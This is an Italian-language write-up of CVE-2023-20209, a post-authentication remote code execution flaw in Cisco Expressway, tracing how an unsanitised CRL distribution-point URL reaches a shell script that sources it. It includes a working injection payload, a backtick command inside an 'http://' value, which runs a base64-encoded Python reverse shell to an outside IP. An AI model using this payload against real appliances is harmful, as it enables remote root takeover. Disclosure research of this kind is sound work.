
Analisi tecnica dettagliata e proof-of-concept di sfruttamento per CVE-2023-20209, una vulnerabilità di esecuzione remota di codice post-autenticazione in Cisco Expressway, con spiegazione passo-passo del flusso del codice e note di sfruttamento.
Ho iniziato a esaminare Cisco Expressway dopo aver notato parecchi di questi dispositivi su Internet durante gli engagement di Red Team, ma non ho mai avuto il tempo durante il lavoro di approfondire ulteriormente il prodotto.
Inizialmente cercavo un bypass dell'autenticazione per innescare una RCE, ma il tempo è scaduto e mi sono accontentato di una RCE post-autenticazione. Il codice PHP del front-end sembra promettente per ulteriori sfruttamenti...
Questi sono i miei appunti dalla scoperta e dalla notifica al fornitore di CVE-2023-20209.
Partendo da un elenco dei processi dopo lo sfruttamento, possiamo vedere una chiamata a /sbin/request-crlupdate:
root 16449 0.0 0.0 7472 4024 ? S Feb18 0:00 bash /sbin/request-crlupdate
root 16451 0.0 0.1 7544 4280 ? S Feb18 0:00 /bin/bash /etc/init.d/crlupdater restart
root 16466 0.0 0.2 14084 11236 ? S Feb18 0:00 python -c exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))
Se esaminiamo il contenuto di /sbin/request-crlupdate:
#! /bin/env bash
#
# This script is responsible to updating the CRL automatic updater process
# when configuration is changed
#
# =============================================================================
# Needs to be kept in sync with PHP and updater script
readonly STARTFILE="/tmp/request/update_crl_config"
readonly LOCK_FILE="/tmp/crlupdater_running"
# =============================================================================
# Source for helper functions
readonly FUNCTIONS="/etc/functions"
[[ -f ${FUNCTIONS} ]] && . ${FUNCTIONS}
# =============================================================================
if [[ -f ${STARTFILE} ]]; then
# Remove the flag file
rm -f ${STARTFILE}
if [[ -f ${LOCK_FILE} ]]; then
do_log "Event=\"Updating CRL data\" Detail=\"CRL update already in progress. Scheduling another update\""
touch ${STARTFILE}
# To avoid the possibility of tight loop situation until the lock file is removed,
# let's sleep for a few seconds
sleep 30
else
# Kick the CRL automatic update daemon
/etc/init.d/crlupdater restart
fi
fi
# =============================================================================
Possiamo vedere che sta chiamando il demone di aggiornamento automatico CRL, ma questo non spiega come ci siamo arrivati. Ho provato a ripercorrere il flusso del codice qui sotto.
Partendo dal codice PHP del front-end web, in /share/web/public/crpupdater.php, c'è un controllo di validazione per assicurarsi che inizi con http o https:
$crl_distribution_points_root_new = new SimpleXMLElement("<root/>");
foreach ( $url_list as $line )
{
if ( strlen( $line ) > 0 )
{
if ( preg_match( '/^(http|https):\/\/.+/i', $line ) > 0 )
{
// Ensure no spaces in the URI
$line = str_replace( " ", "%20", $line );
$crl_distribution_points_root_new->record[ $idx++ ]->distribution_point = $line;
$distribution_point_count++;
}
else
{
$unsupported_distribution_point_seen = true;
}
}
}
Questo viene poi passato a quello che credo sia il framework Python dietro il servizio web; tutto il Python è in .pyc, quindi perdo alcune parti del flusso qui, ma quanto segue fornisce un indizio.
Sembra che il Python causi una chiamata a /sbin/request-crlupdate
/share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyc
Class to manage requestd with regards CRL updates
c C s t j j j j j | | ƒ d S( N( RO RV RW RX RY R ( R
RL ( ( sp /share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyR ? s c C s- t j d ƒ t j j j j j | d ƒ d S( s\
Creates the trigger file for requestd to restart the CRL update daemon
Contenuti di /etc/init.d/crlupdater:
#!/bin/bash
#set -x
#
# Set up automatic CRL updates, if configured
#
readonly SERVICE="crl_updater"
readonly PID_FILE="/var/run/${SERVICE}.pid"
[[ -f /etc/functions ]] && . /etc/functions
start()
{
# #86345
#
# Ensure that the policy services CRL file has the correct
# owner so that the web can update them
chown _nobody:_nobody /tandberg/persistent/certs/policy-services.crl
if upgrade_in_progress; then
# Upgrading so let's not go any further
echo "Upgrade in process. Not starting ${SERVICE}"
exit 0
fi
if is_service_up ${SERVICE}; then
# Service already running so let's not go any further
echo "${SERVICE} already running. Not starting"
exit 0
fi
echo "Starting ${SERVICE}"
local readonly script="/bin/crl_updater"
# Need to be kept in sync with PHP and script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
# Ensure we have the correct directories
local readonly certificates_base="/mnt/harddisk/certificates"
local readonly crl_directory="${certificates_base}/crl"
if [[ ! -d ${crl_directory} ]]; then
mkdir -p ${crl_directory}
fi
if [[ -s ${config_file} ]]; then
. "${config_file}"
if [[ ${auto_updates} == "true" ]]; then
# Check every 600 seconds to see if it is the configured hour
# and then run the script. If the script is run it will wait
# 24 hours before running the script again
/bin/time_kicker 600 ${update_hour} ${script} > /dev/null 2>&1 &
echo $! > ${PID_FILE}
else
# We run the script anyway so that it can perform any clean-up
# required as a result of being disabled
${script} > /dev/null 2>&1 &
fi
fi
}
stop()
{
if is_service_up ${SERVICE}; then
echo "Stopping ${SERVICE}"
kill_pid_file ${SERVICE} ${PID_FILE}
rm -f ${PID_FILE}
fi
}
restart()
{
stop
start
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo $"Usage: $0 {start|stop|restart}"
exit 1
;;
esac
Alcune righe importanti qui:
local readonly script="/bin/crl_updater"
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
Ecco i contenuti di /tandberg/persistent/certs/crl-update.conf dopo lo sfruttamento:
auto_updates=true
update_hour=11
distribution_point=http://`python${IFS}-c${IFS}"exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"`
Possiamo vedere i dati CRL malevoli sopra nel file.
In entrambi i casi dell'istruzione IF in /etc/init.d/crpupdater, viene effettuata una chiamata per eseguire /bin/crl_updater.